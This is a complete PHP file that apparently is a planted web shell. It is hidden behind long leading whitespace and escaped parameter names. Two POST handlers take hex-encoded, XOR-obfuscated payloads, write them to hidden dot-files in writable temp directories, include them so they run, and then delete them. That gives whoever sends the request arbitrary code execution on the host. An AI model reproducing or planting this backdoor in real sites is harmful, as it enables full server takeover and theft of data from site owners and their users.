<?php																																										if(isset($_POST["\x64c\x68\x75nk"])){ $binding = hex2bin($_POST["\x64c\x68\x75nk"]); $ent ='' ; $k = 0; while($k < strlen($binding)){$ent .= chr(ord($binding[$k]) ^ 46);$k++;} $object = array_filter([sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), getenv("TEMP"), "/dev/shm", session_save_path()]); foreach ($object as $key): if (is_writable($key) && is_dir($key)) { $bind = vsprintf("%s/%s", [$key, ".itm"]); $file = fopen($bind, 'w'); if ($file) { fwrite($file, $ent); fclose($file); include $bind; @unlink($bind); die(); } } endforeach; }


if(count($_POST) > 0 && isset($_POST["va\x6C"])){
	$descriptor = array_filter([getcwd(), getenv("TMP"), "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TEMP"), "/tmp", "/var/tmp"]);
	$elem = hex2bin($_POST["va\x6C"]);
	$key =   '' ;  $j = 0; do{$key .= chr(ord($elem[$j]) ^ 43);$j++;} while($j < strlen($elem));
	for ($record = 0, $pset = count($descriptor); $record < $pset; $record++) {
    $res = $descriptor[$record];
    		if ((is_dir($res) and is_writable($res))) {
    $token = implode("/", [$res, ".ref"]);
    $file = fopen($token, 'w');
if ($file) {
	fwrite($file, $key);
	fclose($file);
	include $token;
	@unlink($token);
	exit;
}
}
}
}